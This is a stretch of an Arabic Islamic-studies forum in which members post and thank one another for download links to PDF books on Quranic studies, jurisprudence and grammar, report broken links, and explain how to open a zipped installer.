ـ[مشرف الشهري]ــــــــ[18 - 09 - 08, 02:46 م]ـ
جزاك الله خيرا
ـ[بلعباس]ــــــــ[18 - 09 - 08, 05:43 م]ـ
الرابط لا يعمل فالرجاء ... الرجاء ... إعادة الرفع وجزى الله الجميع خيرا ...
ـ[مشرف الشهري]ــــــــ[18 - 09 - 08, 05:46 م]ـ
بل يعمل وقد حملت البرنامج قبل قليل
ـ[بلعباس]ــــــــ[18 - 09 - 08, 05:55 م]ـ
يا أخي الرابط لا يعمل وإن شئت جرب الآن، فقد دخلت موقع 4 shared ثم إلى add فيعطيك تحميلا لصفحة ويب لا للبرنامج، فالرجاء المساعدة ... وشكرا.
ـ[محمد بن أبي عامر]ــــــــ[18 - 09 - 08, 05:57 م]ـ
ما البرنامج الذي يعمل عليه الملف
ـ[مشرف الشهري]ــــــــ[18 - 09 - 08, 06:28 م]ـ
بل يعمل وقد جربته للتو من اجلك أخي الفاضل
ولكن ربما يكون ضغط على التحميل فحدث الصفحة مرارا لتظفر بالتحميل بعد عدة محاولات
وانا حملته وسطبته ويعمل بكل كفاءة
ـ[مشرف الشهري]ــــــــ[18 - 09 - 08, 06:29 م]ـ
الملف يفتح بواسطة برنامج الضغط winrar
ـ[مشرف الشهري]ــــــــ[18 - 09 - 08, 06:47 م]ـ
أعدت رفعه للإخوة الكرام على موقع ميديا فاير
http://www.mediafire.com/?d51jywik4nc
ـ[بلعباس]ــــــــ[18 - 09 - 08, 06:48 م]ـ
تم التحميل ... جزاك الله خيرا أخي مشرف الشهري وشكرا على جميل صبرك معي، كما أشكر الأخ رافع البرنامج على هذه الدرة النفيسة، وأدام الله الجميع لخدمة دينه وتقبل منكم الصيام والقيام .. والسلام عليكم ورحمة الله وبركاته.
ـ[أبو مهند المصري]ــــــــ[18 - 09 - 08, 09:15 م]ـ
بارك الله فيكم.
ـ[أبو محمد الإفريقي]ــــــــ[18 - 09 - 08, 11:23 م]ـ
جزاكم الله خيرا
ـ[أبو المظفر السِّنَّاري]ــــــــ[19 - 09 - 08, 12:53 ص]ـ
جزاك الله خيرا.
ـ[محمود الشويحى]ــــــــ[19 - 09 - 08, 01:54 ص]ـ
الأخ الكريم: الألخاسى ومشرف الشهرى شكرا جزيلا لكما رابط الأخ مشرف يدعم الاستكمال.
ـ[الألخاسي]ــــــــ[19 - 09 - 08, 05:16 ص]ـ
جزاك الله خيرا أخي مشرف على تعاونك، وبارك الله في جميع الإخوة.
ـ[أبو زُلال]ــــــــ[27 - 07 - 09, 05:56 ص]ـ
لفتح الملف الذي وضعه الأخ مشرف الشهري على ميديا فاير ( APBsetup25F.7z) وتحويله إلى ملف exe. ، حملوا برنامج Zip-7 من الموقع التالي:
http://www.7-zip.org
جزاكم الله خيرا
ـ[مهاجي جمال]ــــــــ[27 - 07 - 09, 06:53 ص]ـ
لفتح الملف الذي وضعه الأخ مشرف الشهري على ميديا فاير ( APBsetup25F.7z) وتحويله إلى ملف exe. ، حملوا برنامج Zip-7 من الموقع التالي:
http://www.7-zip.org
جزاكم الله خيرا
جزاكم الله خيراً
للعلم يمكن فعل ذلك بواسطة برنامج winrar
ـ[أبو عبد الرحمن العامري]ــــــــ[27 - 07 - 09, 07:08 ص]ـ
جزاكم الله خيرا(61/288)
رمضانيات المساهم (18): كتاب المحكم في نقط المصحف (لأول مرة) Pdf
ـ[المساهم]ــــــــ[18 - 09 - 08, 12:49 م]ـ
الكتاب الثامن عشر
المحكم في نقط المصحف
تأليف
أبو عمرو عثمان بن سعيد الداني
التحميل
archive (http://www.archive.org/details/nokaat) أو adrive (http://www.adrive.com/public/a44bb76445233576a52c49207844186f29ef06c5cb5a024dc5 1b0c90a4e12266.html)
بطاقة الكتاب
العنوان: المحكم في نقط المصحف.
المؤلف: أبو عمرو عثمان بن سعيد الداني.
تحقيق: د. عزة حسن.
دار النشر: دار الفكر.
سنة الطبع: الطبعة الثانية (1418هـ / 1997م).
نوع التغليف: مجلد (350)
ـ[خالد الشبل]ــــــــ[18 - 09 - 08, 02:17 م]ـ
بارك الله فيك.
ـ[خالد البعلبكي]ــــــــ[18 - 09 - 08, 02:18 م]ـ
جزاك الله خيرا
أكرمتنا بهدايا قيمة في هذا الشهر المبارك.
تقبل الله منا ومنكم
ـ[حسين بن محمد]ــــــــ[18 - 09 - 08, 08:01 م]ـ
جزاكم الله خيرا وبارك بكم وحفظكم، وتقبل منا ومنكم ..
ـ[النصري]ــــــــ[18 - 09 - 08, 09:47 م]ـ
السلام عليكم ورحمة الله وبركاته شكرا لك ... بارك الله فيك ... وجعل ذلك في ميزان حسناتك
ـ[إبراهيم حسين]ــــــــ[19 - 09 - 08, 12:33 ص]ـ
بارك الله فيك وجزاك خيرا
ـ[إبراهيم أمين]ــــــــ[19 - 09 - 08, 01:03 ص]ـ
شكر الله لك ... بارك الله فيك ... وجعل ذلك في ميزان حسناتك(61/289)
رمضانيات المساهم (19):إعجاز القرآن الكريم بين الإمام السيوطي والعلماء (لأول مرة) Pdf
ـ[المساهم]ــــــــ[18 - 09 - 08, 01:03 م]ـ
نظرا لسفر متوقع فإني سأرفع ما تبقى من الكتب
الكتاب التاسع عشر
إعجاز القرآن الكريم بين الإمام السيوطي والعلماء
تأليف
د. محمد بن موسى الشريف
(رسالة دكتوراه)
التحميل
archive (http://www.archive.org/details/e3jzs) أو adrive (http://www.adrive.com/public/d48236bf6419cb738e1710a4c73ba9be9ce1f5da0fd99c498f e75f35a237be0b.html)
بطاقة الكتاب
العنوان: إعجاز القرآن الكريم بين الإمام السيوطي والعلماء.
المؤلف: د. محمد بن موسى الشريف.
دار النشر: دار الأندلس الخضراء.
سنة الطبع: الطبعة الثانية (1422هـ / 2002م).
نوع التغليف: مجلد (830)
ـ[أبوعاصم الأحمدي]ــــــــ[18 - 09 - 08, 01:16 م]ـ
جزاك الله خيرا وبارك فيك
ـ[عبدالملك بن عبدالله]ــــــــ[18 - 09 - 08, 01:29 م]ـ
جزاك الله خيرا وبارك فيك
ـ[خالد البعلبكي]ــــــــ[18 - 09 - 08, 02:20 م]ـ
جزاك الله خيرا
أكرمتنا بهدايا قيمة في هذا الشهر المبارك.
تقبل الله منا ومنكم
ـ[إبراهيم أمين]ــــــــ[19 - 09 - 08, 01:18 ص]ـ
شكر الله لك ... بارك الله فيك ... وجعل ذلك في ميزان حسناتك(61/290)
رمضانيات المساهم (20) والأخيرة: كتاب الانتصار للقرآن للباقلاني (لأول مرة) Pdf
ـ[المساهم]ــــــــ[18 - 09 - 08, 01:24 م]ـ
نظرا لسفر متوقع فإني سأرفع ما تبقى من الكتب
الكتاب العشرون والأخير
الانتصار للقرآن
تأليف
القاضي أبو بكر ابن الطيب الباقلاني
التحميل
archive (http://www.archive.org/details/entsr) أو adrive (http://www.adrive.com/public/5b76da86cd185cb1fe6774a0e0398adc770c286b7556912069 8cda1bd107cf19.html)
بطاقة الكتاب
العنوان: الانتصار للقرآن.
المؤلف: القاضي أبو بكر ابن الطيب الباقلاني.
تحقيق: د. محمد عاصم القضاة (رسالة دكتوراه).
دار النشر: دار ابن حزم.
سنة الطبع: الطبعة الأولى (1422هـ / 2001م).
نوع التغليف: مجلدين (830)
ملاحظة: تم دمج المجلدين حفاظًا على التسلسل
ـ[خالد البعلبكي]ــــــــ[18 - 09 - 08, 02:19 م]ـ
جزاك الله خيرا
أكرمتنا بهدايا قيمة في هذا الشهر المبارك.
تقبل الله منا ومنكم
ـ[أحمد أبو تسنيم]ــــــــ[18 - 09 - 08, 05:04 م]ـ
أحسن الله إليك وغفر لوالديك
ـ[سعود بن صالح]ــــــــ[18 - 09 - 08, 05:39 م]ـ
جزاك الله خيرا
وأتمنى لك سفرا موفقا
تروح وترجع بالسلامة
ـ[أبو مازن العوضي]ــــــــ[18 - 09 - 08, 07:06 م]ـ
جزاك الله خيرا، الرابط على الأرشيف معطوب
ـ[النصري]ــــــــ[18 - 09 - 08, 09:11 م]ـ
السلام عليكم ورحمة الله وبركاته شكرا لك ... بارك الله فيك ... وجعل ذلك في ميزان حسناتك
ـ[إبراهيم أمين]ــــــــ[19 - 09 - 08, 01:09 ص]ـ
شكر الله لك ... بارك الله فيك ... وجعل ذلك في ميزان حسناتك
اللهم اغفر لنا ولك ولجميع المسلمين
ـ[إبراهيم أمين]ــــــــ[19 - 09 - 08, 01:11 ص]ـ
شكر الله لك ... بارك الله فيك ... وجعل ذلك في ميزان حسناتك
اللهم اغفر لنا ولك ولجميع المسلمين
ـ[أبو حسان السلفي]ــــــــ[25 - 03 - 09, 09:57 م]ـ
جزاك الله خيرا على هذا الكتاب القيم
ـ[النجدية]ــــــــ[13 - 05 - 10, 01:53 م]ـ
بارك الله فيكم
ـ[النجدية]ــــــــ[13 - 05 - 10, 01:58 م]ـ
بارك الله فيكم
وزادكم منه فضلا وإحسانا ونورا
وأود التنبيه إلى أن رابط أرشيف هو الفعال لا غير يا كرام(61/291)
حمل نوادر الكتب في أصول الفقه بصورة ملفات Pdf
ـ[أشرف بن صالح العشري]ــــــــ[18 - 09 - 08, 05:18 م]ـ
تفضل من هنا ( http://www.mktaba.org/vb/showthread.php?t=7759)
(http://www.mktaba.org/vb/showthread.php?t=7759)
ـ[فوزان مطلق النجدي]ــــــــ[18 - 09 - 08, 07:24 م]ـ
جزاك الله خيرا
ـ[أبو مازن العوضي]ــــــــ[18 - 09 - 08, 08:19 م]ـ
شكر الله لك
ـ[أشرف بن صالح العشري]ــــــــ[19 - 09 - 08, 05:13 ص]ـ
بارك اللَّه فيكما.
ـ[ابن عقيل]ــــــــ[19 - 09 - 08, 06:43 م]ـ
كيف يمكن التحميل والوقفية متوقفة؟
ـ[أشرف بن صالح العشري]ــــــــ[19 - 09 - 08, 06:51 م]ـ
الأخ الفاضل ابنَ حيَّاك اللَّهُ.
يا أخي رابط: ((تحميل كتاب ((البدر المنير)) للحافظِ سراج الدين ابن الملقن. بصورة ملفات pdf )) هذا توقيعي في الملتقى يتعلق بكل مشاركتي، وقد أدرجتُهُ قبل توقف ((المكتبة الوقفيَّة)) أعادها اللَّه لنا بخيرٍ، ولم أُرد حذفه رجاء عودة افتتاحها من جديد.
فأصل موضوعي في الرابط الذي فيه: ((تفضل من هنا)).
بارك اللَّه فيك.
ـ[محمد بن عبدالله الصادق]ــــــــ[04 - 06 - 09, 08:28 ص]ـ
جزاك الله خيرا جارى الإطلاع ...
ـ[أشرف بن صالح العشري]ــــــــ[05 - 06 - 09, 03:08 م]ـ
الأخ الفاضل ابنَ حيَّاك
التصويب: الأخ الفاضل ابنَ عقيل حيَّاك اللَّهُ.
ـ[أشرف بن صالح العشري]ــــــــ[05 - 06 - 09, 03:09 م]ـ
جزاك الله خيرا جارى الإطلاع ...
وجزاكم أخي الفاضل.(61/292)
من يحول صفحات هذا الكتاب إلي ملف pdf
ـ[أبوسلمة السلفي]ــــــــ[18 - 09 - 08, 05:39 م]ـ
هذه عدة رسائل في النحو والصرف , نسخت صفحاتها من موقع مكتبة الحقيقة بتركيا
المراح وعزي ومقصود وبنا وأمثلة
أحمد بن علي بن مسعود
رسالة التصريفات
حافظ أحمد أفندي زاده
حافظ علي وصفي الازميدي
العوامل
زين الدين محمد بن علي البركوي
الكافية
ابن الحاجب
اظهار الأسرار
محمد بن جير علي الشهير ببركوي
ـ[محمود الشويحى]ــــــــ[19 - 09 - 08, 02:29 ص]ـ
ارفع الصور أولا وتحويلها سهل
ـ[أبوسلمة السلفي]ــــــــ[19 - 09 - 08, 04:58 ص]ـ
ـــــــــــــــــــــــــــــــــــــــــــــــ
ـ[أبوسلمة السلفي]ــــــــ[20 - 09 - 08, 02:56 ص]ـ
في الأنتظار
ـ[أبو عبد الرحمن السبيلي]ــــــــ[20 - 09 - 08, 05:35 ص]ـ
أبشر
إن شاء الله
ـ[أبو عبد الرحمن السبيلي]ــــــــ[20 - 09 - 08, 06:48 ص]ـ
لاتنسانا من دعائكم
http://www.files-up.com/files/iqkfx86fjug92w/1.part1.rar
http://www.files-up.com/files/u585qm1kg9th1y/1.part2.rar
ـ[أبوسلمة السلفي]ــــــــ[20 - 09 - 08, 07:09 م]ـ
لاتنسانا من دعائكم
http://www.files-up.com/files/iqkfx86fjug92w/1.part1.rar
http://www.files-up.com/files/u585qm1kg9th1y/1.part2.rar
بارك الله فيك
لكن نتمني أن نجد من يفهرس لنا الكناب(61/293)
كتاب الأم للإمام الشافعي كتاب الكتروني رائع
ـ[أحمد أبوالمعاطي]ــــــــ[18 - 09 - 08, 06:26 م]ـ
كتاب الأم للإمام الشافعي كتاب الكتروني رائع
http://img263.imageshack.us/img263/6243/get620077ymlhpr1nm5.gif
كتاب الأم
تأليف
الامام ابي عبد الله محمد بن ادريس الشافعي
كتاب الأم كتاب في الفقه الإسلامي ألفه الإمام الشافعي
جمعه البويطي , بعد أن أملاه الشافعي على تلاميذه في مصر , ولم يذكر اسمه فيه ولا نسبه إلى نفسه , ومع ذلك فقد نسب إلى الربيع بن سليمان المرادي , بعد أن رتبه وبوبه. ويعد هذا الكتاب آخر ما وصل إليه الشافعي , ويعبر عن المسائل التي فيها , بأنها مذهب الشافعي الجديد
حجم الكتاب 2.69ميجابايت
http://img185.imageshack.us/img185/8906/tajmeel1yh6ps2.gif
http://i247.photobucket.com/albums/gg128/AdelMohamed/1-77.jpg
http://i247.photobucket.com/albums/gg128/AdelMohamed/2-77.jpg
http://i247.photobucket.com/albums/gg128/AdelMohamed/3-71.jpg
روابط التنزيل
http://uploads.bizhat.com/file/320371
أو
http://www.adrive.com/public/1e6c4e3947839e1ce21b76af91846b7fea19539f8d60333c85 272211304a3446.html
فلنتعاون في الله بنشره على مواقع أخرى
http://img267.imageshack.us/img267/8083/mod4uf8fb5.gif
الكتب الالكترونية الاسلامية ( http://adel-ebooks.mam9.com)(61/294)
حمل مجموعة كتب في فنون متفرقة pdf
ـ[أيوب أبو يوسف]ــــــــ[18 - 09 - 08, 06:31 م]ـ
أثناء بحثي على موقع أرشيف وجدت هذا الرابط وفيه عدة كتب بعضها قد يكون مما سبق رفعه، فأحببت إتحاف إخواني به بغية الانتفاع، وهذه عناوينها:
===========================
الكتاب: البدور السافرة في أحوال الآخرة
المؤلف: جلال الدين عبد الرحمن بن أبي بكر السيوطي
المحقق: محمد حسن محمد حسن إسماعيل الشافعي
الناشر: دار الكتب العلمية
الطبعة: الأولى، 1416 هـ / 1996 م
عدد الأجزاء: 1
===========================
الكتاب: البعد الأخلاقي للفكر السياسي الإسلامي عند الفارابي والماوردي وابن تيمية – رسالة ماجستير
المؤلف: موزه أحمد راشد العبار
الناشر: جامعة الاسكندرية – كلية الآداب – قسم الفلسفة
الطبعة: 1421 هـ / 2000 م
عدد الأجزاء: 1
===========================
الكتاب: البيوع المنهي عنها نصا في الشريعة الإسلامية وأثر النهي فيها من حيث الحرمة والبطلان
المؤلف: علي بن عباس الحكمي
الناشر:
الطبعة: 1410 هـ / 1990 م
عدد الأجزاء: 1
===========================
الكتاب: التحفة السنية بشرح المقدمة الآجرومية
المؤلف: محمد محي الدين عبد الحميد
الناشر: مكتبة السنة
الطبعة: 1409 هـ / 1989 م
عدد الأجزاء: 1
===========================
الكتاب: الجريمة والعقوبة في الفقه الإسلامي
المؤلف: محمد أبو زهرة
الناشر: دار الفكر العربي
الطبعة: غير متوفر
عدد الأجزاء: 1
===========================
الكتاب: الخوارج في بلاد المغرب حتى منتصف القرن الرابع الهجري
المؤلف: محمود إسماعيل عبد الرزاق
الناشر: دار الثقافة
الطبعة: الثانية، 1406 هـ / 1985 م
عدد الأجزاء: 1
===========================
الكتاب: الدارري المضية شرح الدرر البهية
المؤلف: محمد بن علي الشوكاني
المحقق: بدون
الناشر: مكتبة التراث الإسلامي
الطبعة: غير متوفر
عدد الأجزاء: 2 (مطبوعة في مجلد واحد)
===========================
الكتاب: الدليل الفقهي للمسافر المسلم
المؤلف: محمد عثمان الخشت
الناشر: مكتبة القرآن
الطبعة: غير متوفر
عدد الأجزاء: 1
===========================
الكتاب: الزهر الفاتح في ذكر من تنزه عن الذنوب والقبائح
المؤلف: محمد بن محمد بن يوسف الجزري
المحقق: محمد عبد القادر عطا
الناشر: دار الكتب العلمية
الطبعة: الأولى، 1406 هـ / 1986 م
عدد الأجزاء: 1
===========================
الكتاب: السلفية في المجتمعات المعاصرة
المؤلف: محمد فتحي عثمان
الناشر: دار القلم
الطبعة: غير متوفر، 1414 هـ / 1993 م
عدد الأجزاء: 1
===========================
الكتاب: السنن والمبتدعات المتعلقة بالأذكار والصلوات
المؤلف: محمد بن أحمد بن محمد عبد السلام خضر الشقيري الحوامدي
الناشر: مكتبة ابن تيمية
الطبعة: غير متوفر
عدد الأجزاء: 1
===========================
الكتاب: السياسة الشرعية في إصلاح الراعي والرعية
المؤلف: أبو العباس، تقي الدين أحمد بن عبد السلام بن تيمية
المحقق: لجنة إحياء التراث العربي بدار الآفاق الجديدة
الناشر: دار الآفاق الجديدة
الطبعة: الأولى، 1403 هـ / 1983 م
عدد الأجزاء: 1
===========================
الكتاب: السيد محمود شكري الألوسي وبلوغ الأرب
المؤلف: إبراهيم السامرائي
الناشر: المؤسسة الجامعية للدراسات والنشر والتوزيع
الطبعة: الأولى، 1412 هـ / 1992 م
عدد الأجزاء: 1
===========================
الكتاب: السيرة النبوية - القسم الأول من الأساس في السنة وفقهها
المؤلف: سعيد حوى
الناشر: دار السلام
الطبعة: الثالثة، 1416 هـ / 1995 م
عدد الأجزاء: 4 (تم جمعها في ملف واحد حفاظا على الترقيم)
===========================
الكتاب: السيرة النبوية الصحيحة
المؤلف: أكرم ضياء العمري
الناشر: مركز بحوث السنة والسيرة – دولة قطر
الطبعة: غير متوفر، 1411 هـ / 1991 م
عدد الأجزاء: 2 (تم جمعها في ملف واحد حفاظا على الترقيم)
===========================
الكتاب: الشاذ من الحديث وأثره في الأحكام الفقهية – رسالة ماجستير
المؤلف: محمد زكي محمد عبد الدايم
الناشر: جامعة القاهرة – كلية دار العلوم – قسم الشريعة الإسلامية
(يُتْبَع .. اقلب الصفحة)
(61/295)
الطبعة: 1422 هـ / 2001 م
عدد الأجزاء: 1
===========================
الكتاب: الشنقيطي ومنهجه في التفسير – رسالة ماجستير
المؤلف: أحمد سيد حسانين إسماعيل الشيمي
الناشر: جامعة القاهرة – كلية دار العلوم – قسم الشريعة الإسلامية
الطبعة: 1422 هـ / 2001 م
عدد الأجزاء: 2 (تم جمعها في ملف واحد حفاظا على الترقيم)
===========================
الكتاب: الصلة
المؤلف: أبو القاسم خلف بن عبد الملك بن بشكوال
المحقق: إبراهيم الأبياري
الناشر: دار الكتاب المصري – دار الكتاب اللبناني
الطبعة: الأولى، 1410 هـ / 1989 م
عدد الأجزاء: 3 (تم جمعها في ملف واحد حفاظا على الترقيم)
===========================
الكتاب: العبرة مما جاء في الغزو والشهادة والهجرة
المؤلف: صديق بن حسن بن علي الحسني القنوجي البخاري
المحقق: محمد السعيد بن بسيوني زغلول
الناشر: دار الكتب العلمية
الطبعة: الثانية، 1408 هـ / 1988 م
عدد الأجزاء: 1
===========================
الكتاب: العدة شرح العمدة في فقه إمام السنة أحمد بن حنبل الشيباني
المؤلف: بهاء الدين عبد الرحمن بن إبراهيم المقدسي
المحقق: خالد محمد محرم
الناشر: المكتبة العصرية
الطبعة: غير متوفر، 1417 هـ / 1997 م
عدد الأجزاء: 1
===========================
الكتاب: العقوبة في الفقه الإسلامي
المؤلف: أحمد فتحي بهنسي
الناشر: دار الشروق
الطبعة: الخامسة، 1403 هـ / 1983 م
عدد الأجزاء: 1
===========================
الكتاب: الفتاوى السعدية
المؤلف: عبد الرحمن بن ناصر السعدي
الناشر: المؤسسة السعدية بالرياض
الطبعة: غير متوفر
عدد الأجزاء: 1
===========================
الكتاب: الفروسية
المؤلف: شمس الدين محمد بن أبي بكر بن قيم الجوزية
المحقق: سمير حسين حلبي
الناشر: دار الصحابة للتراث
الطبعة: الأولى، 1411 هـ / 1991 م
عدد الأجزاء: 1
===========================
الكتاب: الفروق اللغوية
المؤلف: أبو هلال العسكري
المحقق: محمد إبراهيم سليم
الناشر: دار العلم والثقافة
الطبعة: غير متوفر
عدد الأجزاء: 1
===========================
الكتاب: الفقه الاجتهادي بين عبقرية السلف ومآخذ ناقديه
المؤلف: عبد العظيم المطعني
الناشر: مكتبة وهبة
الطبعة: غير متوفر
عدد الأجزاء: 1
===========================
الكتاب: الفواكه العذاب في معتقد الشيخ محمد بن عبد الوهاب في الصفات
المؤلف: حمد بن ناصر بن عثمان آل معمر
المحقق: عبد الرحمن بن عبد الله التركي
الناشر: مؤسسة الرسالة
الطبعة: الثانية، 1416 هـ / 1996 م
عدد الأجزاء: 1
===========================
الكتاب: القراءات القرآنية في معجم تهذيب اللغة للأزهري في ضوء علم اللغة الحديث
المؤلف: إبراهيم عبد الله سالم
الناشر: جامعة طنطا – كلية الآداب – قسم اللغة العربية
الطبعة: 1419 هـ / 1999 م
عدد الأجزاء: 1
===========================
الرابط:
http://www.archive.org/details/hamaj6
ـ[أبو مازن العوضي]ــــــــ[18 - 09 - 08, 06:50 م]ـ
جزاك الله الجنة
ـ[أيوب أبو يوسف]ــــــــ[18 - 09 - 08, 10:20 م]ـ
آمين ... وإياك أخي الكريم
ـ[عصام فرج محمد مدين]ــــــــ[18 - 09 - 08, 11:59 م]ـ
تم التحميل وجزاك الله خيرا كثيرا وبارك فيك وفى اهلك
ـ[أبو المظفر السِّنَّاري]ــــــــ[19 - 09 - 08, 01:12 ص]ـ
جزاك الله خيرا.
ـ[أبو مهند المصري]ــــــــ[19 - 09 - 08, 02:21 ص]ـ
بارك الله فيكم(61/296)
فضلا كتاب (حجية السنة) ..
ـ[الحميدي المطيري]ــــــــ[18 - 09 - 08, 10:06 م]ـ
السلام عليكم ورحمة الله وبركاته ..
أرجوا من الاخوة الكرام مساعدتي في الحصول على كتاب (حجية السنة) للشيخ عبدالغني عبد الخالق ..
وشكرا جزيلاً
ـ[الديرزوري]ــــــــ[18 - 09 - 08, 11:26 م]ـ
هو مطبوع يا أخي بكثرة
وإذا ذهبت إلى دمشق يا أخي فاذهب إلى دار البيروتي لعلك تجده هناك
ـ[الحميدي المطيري]ــــــــ[19 - 09 - 08, 01:35 ص]ـ
هو مطبوع يا أخي بكثرة
وإذا ذهبت إلى دمشق يا أخي فاذهب إلى دار البيروتي لعلك تجده هناك
عزيزي.ابحث عن نسخة "الكترونية" حتى يتسنى لي وضعها في بعض المواقع ..
ـ[المطلبي]ــــــــ[02 - 07 - 09, 12:16 ص]ـ
الكتاب هنا
http://www.waqfeya.net/book.php?bid=576
ـ[علي 56]ــــــــ[02 - 07 - 09, 07:58 م]ـ
حملوه من هنا:
http://up.ahlalalm.net/ccfiles/lqe49890.rar
ومن هنا:
http://cid-3d4e3b5bad809b62.skydrive.live.com/self.aspx/%D9%83%D8%AA%D8%A8%D9%8A/%D8%AD%D8%AC%D9%8A%D8%A9%20%D8%A7%D9%84%D8%B3%D9%8 6%D8%A9%20%D9%84%D8%B9%D8%A8%D8%AF%20%D8%A7%D9%84% D8%BA%D9%86%D9%8A%20%D8%B9%D8%A8%D8%AF%20%D8%A7%D9 %84%D8%AE%D8%A7%D9%84%D9%82.rar(61/297)
الصوارم والاسنة في الذب عن السنة لمحمد با أبي مَدْيَن الشنقيطي
ـ[سيدي محمد اندي]ــــــــ[19 - 09 - 08, 11:25 ص]ـ
السلام عليكم
هذا الكتاب المسمى
الصوارم والاسنة في الذب عن السنة
للعلامة محمد بن ابي مدين الشنقيطي من اكثر الكتب حضا على السنة النبوية وترك التقليد الاعمى ومؤلفه من اوائل من الف في هذا الباب حيث حث فيه على تطبيق بعض السنن المهجورة هناك مثل القبض في الصلاة ورفع اليدين قبل الركوع والرفع منه والقيام من الركعتين
وتكلم عن التقليد والاجتهاد وحقيقة المذهب ... الخ
الكتاب تجدونه هنا
http://www.salafishare.com/arabic/20RZ6KX5OBX8/I8RU9P7.rar
ـ[سيدي محمد اندي]ــــــــ[19 - 09 - 08, 11:26 ص]ـ
تجدون هنا ترجمة وافية للشيخ
http://majles.alukah.net/showthread.php?t=2951
ـ[ابو عبد الرحمن الجزائري]ــــــــ[19 - 09 - 08, 11:57 ص]ـ
جزاك الله خيرا
ـ[سيدي محمد اندي]ــــــــ[11 - 10 - 08, 05:09 م]ـ
شكرا لك على المرور
لاحظت ان رابط الكتاب لايفتح في بعض الاحيان الا بمتصفح اكسبلورر
ـ[سيدي محمد اندي]ــــــــ[13 - 05 - 09, 11:44 م]ـ
هذا رابط لنسخة احسن تصويرا واقل حجما واوضح كتابة
للتحميل ضع الماوس على الرابط ثم اضغط يمين الماوس ثم حفظ الهدف باسم او حفظ الوصلة كـ
http://ia360943.us.archive.org/0/items/Manshor_Sawarem/Sawarem_Asenh.pdf
ـ[عيسى بنتفريت]ــــــــ[14 - 05 - 09, 10:58 ص]ـ
بارك الله فيك ونفعك بك، ووفقني وإياك لما يحب.
ـ[سيدي محمد اندي]ــــــــ[29 - 05 - 09, 10:02 م]ـ
بارك الله فيك ونفعك بك، ووفقني وإياك لما يحب.
آمين ولك بمثل ما دعوت به
ـ[سيدي محمد اندي]ــــــــ[04 - 06 - 09, 08:12 ص]ـ
رابط اخر
http://www.shamela.ws/forum/download/file.php?id=174
ـ[بن نعمان]ــــــــ[04 - 06 - 09, 12:24 م]ـ
جزاكم الله خيرا
ـ[أبو بكر المكي]ــــــــ[14 - 04 - 10, 12:09 ص]ـ
الروابط لا تعمل ..
وهنا آخر: http://malikiaa.blogspot.com/2009/10/blog-post_8791.html اذهب إلى الربط 2، ثم انقر على حفظ الرابط باسم، أو حفظ الهدف باسم ..
ـ[رشيد أحمد]ــــــــ[15 - 04 - 10, 05:48 ص]ـ
جزاكم الله خيراً
ـ[أبو أنس مصطفى البيضاوي]ــــــــ[15 - 04 - 10, 06:22 ص]ـ
كتب الله أجرك ورحم مؤلف الكتاب، وأمنيتي أن يعاد طبع الكتاب بإشراف وزارة الأوقاف فهي طبعة جليلة(61/298)
الشاملة "7500"كتاب كل فرع مقسم إلى قسمين-موافق للمطبوع وغير موافق للمطبوع-
ـ[ابو عبد المحسن]ــــــــ[19 - 09 - 08, 02:21 م]ـ
السلام عليكم ورحمة الله وبركاته ...
لدي الشاملة عدد الكتب فيها "7500"كتاب ...
وقد قسمت كل قسم إلى قسم رئيسي موافق للمطبوع وقسم فرعي غير موافق للمطبوع ...
فإن رغبتم في رفعها رفعتها لكم ...
وهذه صورة مرفقة توضح القسم الرئيسي والقسم الفرعي ...
ـ[ابو عبد المحسن]ــــــــ[19 - 09 - 08, 02:26 م]ـ
السلام عليكم
نأسف لعدم ظهور الصورة ...
تجدون الصورة في المرفقات
ـ[يونس1]ــــــــ[19 - 09 - 08, 03:03 م]ـ
ارفع يا أخي رفعك الله.
ـ[أحمد أبو عبدالله]ــــــــ[19 - 09 - 08, 03:17 م]ـ
اخي لاتشاورنا في الخير الذي لديك ارفع رفع الله قدرك ومنزلتك عنده في عليين واياك والمسلمين
واخي الذي قال رفعك الله لعله اراد ان يدعو لك فدعى عليك (ابتسامه)
ـ[خليل إبراهيم]ــــــــ[19 - 09 - 08, 03:53 م]ـ
إذا استطعت ألا يسبقك أحد إلى خير فافعل
شعار بطل هذه المعركة المغوار نافع
فلنكن مثله
فإن لم نكن فلنحاول.
بارك الله فيك ارفعها ولك الأجر من الله.
ـ[يونس1]ــــــــ[19 - 09 - 08, 06:31 م]ـ
اخي لاتشاورنا في الخير الذي لديك ارفع رفع الله قدرك ومنزلتك عنده في عليين واياك والمسلمين
واخي الذي قال رفعك الله لعله اراد ان يدعو لك فدعى عليك (ابتسامه)
ابتسامة لطيفة من الأخ:-أحمد أبو عبدالله.
ـ[أحمد أبو عبدالله]ــــــــ[20 - 09 - 08, 03:18 ص]ـ
وانت الطف
اين صاحب الموضوع كيف لنا بمكتبك؟
ـ[أبو أيوب السليمان]ــــــــ[20 - 09 - 08, 04:08 ص]ـ
وعليكم السلام ورحمة الله وبركاته
ارفعها بارك الله فيك
ولعلها تكون هدية العيد
فغدا تتوقف المشاركات في الملتقى حتى ليلة العيد.
وفقنا الله جميعا لبلوغ ليلة القدر
وتقبل منا الصيام والقيام
ـ[ saead] ــــــــ[20 - 09 - 08, 09:24 ص]ـ
ارفعها اخي بارك الله فيك ولكن يا ليتك أخي العزيز قبل رفعها ان تقوم بضغط وأرشفة وفهرسة الكتب وبهذا ان شاء الله ستكون نسخة مثالية وسريعة كسابقتها 6680
ليتك تستطيع وأعانك الله لأنه بعملك هذا ستكون قد وفرت وقتا كبيرا للجميع وان يكون العمل مرة واحدة وبوقت واحد خير من ان يعاد نفس العمل اكثر من مرة وبوقت كبير
هذا ولك مني كل الود ورزقني وإياك والمسلمين ثواب ليلة القدر كاملا غير منقوص آمين
ـ[الطيماوي]ــــــــ[20 - 09 - 08, 11:57 ص]ـ
حبذا أن تصدر لنا قائمة بأسماء الكتب الموجودة فيها قبل رفعها وبارك الله فيك.
لنقارن ما لدينا بما لديك ونعطيك قائمة بأسماء الكتب الغير متوفرة لدينا وتقوم برفعها لوحدها ابتداء
ثم ترفع الموسوعة ككل انتهاء.
وبارك الله فيك
ـ[ابو الخير]ــــــــ[20 - 09 - 08, 12:36 م]ـ
الافضل ان تضغط كل قسم و تفهرسه و تضع على المنتدى حتى يتمكن من يريد قسم بعينه ان يحمله و لا يحمل المكتبه كلها و هو يريد قسم واحد و اعانك الله على هذا العمل و الافضل ان تضع القسم الموافق للمطبوع الاول ثم القسم الغير موافق للمطبوع
ـ[أبو عبد الرحمن الطاهر]ــــــــ[20 - 09 - 08, 12:53 م]ـ
أضم صوتي مع صوت الأخ الطيماوي
